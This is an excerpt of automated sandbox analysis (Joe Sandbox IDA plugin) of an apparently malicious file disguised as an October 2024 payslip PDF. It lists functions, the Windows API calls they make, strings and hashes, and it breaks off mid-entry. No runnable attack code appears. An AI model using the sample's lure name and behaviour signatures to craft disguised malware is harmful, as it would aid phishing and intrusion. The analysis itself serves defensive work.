HeapAlloc.KERNEL32(00000000,?,00CF822A,?,?,?), ref: 00CF8786
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CF879D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 87b75b0bd8c769e30e284013ae27950b7269e24bde53fe60cc02ea03a3a28209
Instruction ID: c05d974b327b651aba971ed3e06a04bf5a2741f4eee55dfe1f27b4290b49c933
Opcode Fuzzy Hash: 87b75b0bd8c769e30e284013ae27950b7269e24bde53fe60cc02ea03a3a28209
Instruction Fuzzy Hash: 4F014B71600308EFDB245FA6DC89D6B7BBCEFA9755720083AF949C2260DA318D16CA70

Function 00D054E6 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D05502
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00D05510
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D05518
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00D05522
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D0555E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 31291fd082ff9dc710cc8464b3aa8779d621d0db3e0a0b3c9a1b2eac0706e115
Instruction ID: 53e0e0b9ed6fb449f0916ac2819674183021fccbca5646a0848d25e725864aac
Opcode Fuzzy Hash: 31291fd082ff9dc710cc8464b3aa8779d621d0db3e0a0b3c9a1b2eac0706e115
Instruction Fuzzy Hash: 6C013935C00A19DBCF109FE8EC496EEBB78BB19701F440466E945F2284DB3096618BB1

Function 00CF7652 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?,?,00CF799D), ref: 00CF766F
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?), ref: 00CF768A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?), ref: 00CF7698
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?), ref: 00CF76A8
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?), ref: 00CF76B4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 6055599f539434909d64aa45afb0d18f4bf01c34aa85266b984c51d81c7eedbd
Instruction ID: 5ef16d83a6e5bc54e4a3240c1d1493bad968494ec0958835c7925b18fc783262
Opcode Fuzzy Hash: 6055599f539434909d64aa45afb0d18f4bf01c34aa85266b984c51d81c7eedbd
Instruction Fuzzy Hash: 6C0171B2601708ABDB209F58DC48AAEBBBDEB45751F140538FE04D2321E731DE4197B0

Function 00CF85F1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CF8608
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CF8612
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CF8621
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00CF8628
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CF863E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 070af330ca27ada5f99643b4c51fb1fc407eb5e2442893348ed43665f9bdc618
Instruction ID: ac912afda693727234fcfefda43687edf3c61b3a0d4cda60a497520523c48d62
Opcode Fuzzy Hash: 070af330ca27ada5f99643b4c51fb1fc407eb5e2442893348ed43665f9bdc618
Instruction Fuzzy Hash: BAF04F31201308AFEB210FA5DC89E7B3BBCEF99754B400835FA45C6250CB719D46DA71

Function 00CF8652 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CF8669
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CF8673
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CF8682
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00CF8689
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CF869F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 07db85154ec341b8d755f2e6aa4e769fe4f92310b3ff36fafa69a9872710e454
Instruction ID: fe5754fe45d91b18da6336d2e86d53c59d4589296c5825aba2da91409002bfcf
Opcode Fuzzy Hash: 07db85154ec341b8d755f2e6aa4e769fe4f92310b3ff36fafa69a9872710e454
Instruction Fuzzy Hash: F5F0AF70240308AFEB211FA4EC89E773BBCEF99754B100435FA45C2250CB709906DA71

Function 00CFC6A6 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00CFC6BA
GetWindowTextW.USER32(00000000,?,00000100), ref: 00CFC6D1
MessageBeep.USER32(00000000), ref: 00CFC6E9
KillTimer.USER32(?,0000040A), ref: 00CFC705
EndDialog.USER32(?,00000001), ref: 00CFC71F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 38c38d602546bee477f8e74c1e40e7f4f900f02cdd708396686b999a0ec681d9
Instruction ID: c3e96861727c9da4cf6378d76abffbffa81c11074d97c7a559eca4a2cebd53e2
Opcode Fuzzy Hash: 38c38d602546bee477f8e74c1e40e7f4f900f02cdd708396686b999a0ec681d9
Instruction Fuzzy Hash: 9801443050470C97EB716B20DD8EFA67778FB10706F000669B652E15E1DBE469558E91

Function 00CA13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00CA13BF
StrokeAndFillPath.GDI32(?,?,00CDBAD8,00000000,?), ref: 00CA13DB
SelectObject.GDI32(?,00000000), ref: 00CA13EE
DeleteObject.GDI32 ref: 00CA1401
StrokePath.GDI32(?), ref: 00CA141C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 49ebd0b3c7aefc071f7fffbf26595791628b037969da31b0cdce9a1e1b5e1c8a
Instruction ID: 0937bfb5cd68ff961a377b0f8404171fce3767d3fd234572e1e805ae1c329b92
Opcode Fuzzy Hash: 49ebd0b3c7aefc071f7fffbf26595791628b037969da31b0cdce9a1e1b5e1c8a
Instruction Fuzzy Hash: EDF0C930044309EBDB225F2AED0C7583FB5A75232AF488224EA29C62F1C7758996DF70

Function 00D0C602 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00D0C69D
CoCreateInstance.OLE32(00D32D6C,00000000,00000001,00D32BDC,?), ref: 00D0C6B5

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

CoUninitialize.OLE32 ref: 00D0C922

Strings

.lnk, xrefs: 00D0C631, 00D0C659, 00D0C663

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 28cbc7cc0f210178c186b23c12177eae0d1eaa9d7ccfaa8efa211bf20219370d
Instruction ID: f3cb4b37a35a34341968e97dd5dc1344350d699196a15fd3def80931defccfde
Opcode Fuzzy Hash: 28cbc7cc0f210178c186b23c12177eae0d1eaa9d7ccfaa8efa211bf20219370d
Instruction Fuzzy Hash: 43A11B71204206AFD700EF54CC82EABB7E8EF99708F04491DF156971A1EB71EA49DB62

Function 00CB2E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00CC0FF6: std::exception::exception.LIBCMT ref: 00CC102C
Part of subcall function 00CC0FF6: __CxxThrowException@8.LIBCMT ref: 00CC1041

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CA7BB1: _memmove.LIBCMT ref: 00CA7C0B

__swprintf.LIBCMT ref: 00CB302D

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00CB2EC6

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 526b127e10e5af2da722abb4003fa1603e7d5d35756e7ac5a9d761298f48ac8b
Instruction ID: 90cd9c943e57992d3728831e48a464217efe4fe04d3cf70eecb2e1cef8ba23d4
Opcode Fuzzy Hash: 526b127e10e5af2da722abb4003fa1603e7d5d35756e7ac5a9d761298f48ac8b
Instruction Fuzzy Hash: F5919D711083429FC718EF64E885DAFB7A4EF96754F00491DF8529B2A1EB30EE44DB62

Function 00D0BBA6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA48AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00CA48A1,?,?,00CA37C0,?), ref: 00CA48CE

CoInitialize.OLE32(00000000), ref: 00D0BC26
CoCreateInstance.OLE32(00D32D6C,00000000,00000001,00D32BDC,?), ref: 00D0BC3F
CoUninitialize.OLE32 ref: 00D0BC5C

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

Strings

.lnk, xrefs: 00D0BC08, 00D0BC16

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 8e546b7e080ab6fdf78bc9d328e22307a4a0f4327860f7cee1950cba906edbaf
Instruction ID: c454eb32b5e28aeba6bdd220b02e3a397e229aa02141e0b7ff6b4d8d0934f142
Opcode Fuzzy Hash: 8e546b7e080ab6fdf78bc9d328e22307a4a0f4327860f7cee1950cba906edbaf
Instruction Fuzzy Hash: B6A14B756043029FCB10DF24C485E6ABBE5FF89328F148959F89A9B3A1CB31ED45CB61

Function 00CC524D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00CC52DD

Part of subcall function 00CD0340: __87except.LIBCMT ref: 00CD037B

Strings

pow, xrefs: 00CC52B5, 00CC52D2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 311805539d4962ea3556e58cdc45e46c70adc2cc9ee2da0dc66c2e474e47c057
Instruction ID: b0ec3cba0efe89acc49d6fd41127c717747b0c4d99796e61b7b5cbc213e6e235
Opcode Fuzzy Hash: 311805539d4962ea3556e58cdc45e46c70adc2cc9ee2da0dc66c2e474e47c057
Instruction Fuzzy Hash: A5516661E09B0186CB11A728C941B6E2BD09B00350F384D5EE6E5C63FAEE74DEC4EA56

Function 00CC023B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00CC0277
#, xrefs: 00CC0280

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 47e1c16edabc92fedd0adfda4b4e3fc6f7305bb5204525db319761cebab5f43c
Instruction ID: d3e3574bda7bd2ef4c782c111f208e9f06343c0385f42e392c13df1c5e0d76e8
Opcode Fuzzy Hash: 47e1c16edabc92fedd0adfda4b4e3fc6f7305bb5204525db319761cebab5f43c
Instruction Fuzzy Hash: 8351257550664ADFCF159F28C888BF97BA4FF16310F284059EBA19B2A0D7349E42C762

Function 00CB62F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CB63A8
_memmove.LIBCMT ref: 00CB6446
_memset.LIBCMT ref: 00CB646A

Strings

ERCP, xrefs: 00CB6313

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 9ef24d2ef40e1262feb443571797bc71ab13200ed3a22ee05e4648856dc4cdc1
Instruction ID: 211a7c00ad6d7cbde75ee7c71c0d6f56f125971d641a2d8a07fe3079dc7fd07b
Opcode Fuzzy Hash: 9ef24d2ef40e1262feb443571797bc71ab13200ed3a22ee05e4648856dc4cdc1
Instruction Fuzzy Hash: B4519E71900709DBDB24CF65C881BEABBF4EF04314F24856EEA5ACB241E7759A84CF51

Function 00D27BB5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00D2F910,00000000,?,?,?,?), ref: 00D27C4E
GetWindowLongW.USER32 ref: 00D27C6B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00D27C7B

Strings

SysTreeView32, xrefs: 00D27C20

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a35227702406c40f5dc183c6145e0c9394b2cfdd24b81a083097a54ddd362697
Instruction ID: 536e903cbd21964a2504486c6c887677d758a267d8fa498a918c3d713cc225b8
Opcode Fuzzy Hash: a35227702406c40f5dc183c6145e0c9394b2cfdd24b81a083097a54ddd362697
Instruction Fuzzy Hash: 3131B231204216AFDB258F38DC45BEA77A9EF65328F244725F875E22E0C731E851AB70

Function 00D27648 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00D276D0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00D276E4
SendMessageW.USER32(?,00001002,00000000,?), ref: 00D27708

Strings

SysMonthCal32, xrefs: 00D2769B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: ce751c7e6f31b4059289f8b99e30175e06b3be27cfbd7e736100eb23685e6cc5
Instruction ID: 92c1fa7da9b3beac5e3107b672d361f8dbfbf8ff77037d279a222fa5cd3f308d
Opcode Fuzzy Hash: ce751c7e6f31b4059289f8b99e30175e06b3be27cfbd7e736100eb23685e6cc5
Instruction Fuzzy Hash: C921D132500229BBDF21CF64DC46FEA3B79EF58728F150214FE15AB1D0D6B1A8558BB0

Function 00D26F1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00D26FAA
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00D26FBA
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00D26FDF

Strings

Listbox, xrefs: 00D26F77

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: f82c87ff0ed9b170ddfff0a94aed2d49b77b437c48e27179740165d957222785
Instruction ID: d52c6ddd90f58469423ea44a54d4be999b71dc399c614e371204a329c3d7c96b
Opcode Fuzzy Hash: f82c87ff0ed9b170ddfff0a94aed2d49b77b437c48e27179740165d957222785
Instruction Fuzzy Hash: 802195326102287FDF118F54EC85EAB376AEF99768F058124FA1497190C671DC5187B0

Function 00D2797D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00D279E1
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00D279F6
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00D27A03

Strings

msctls_trackbar32, xrefs: 00D279B8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 04a8025a6b345151ccd08fdcfd0206d34694c632b2a4e53be458641c48d0ac47
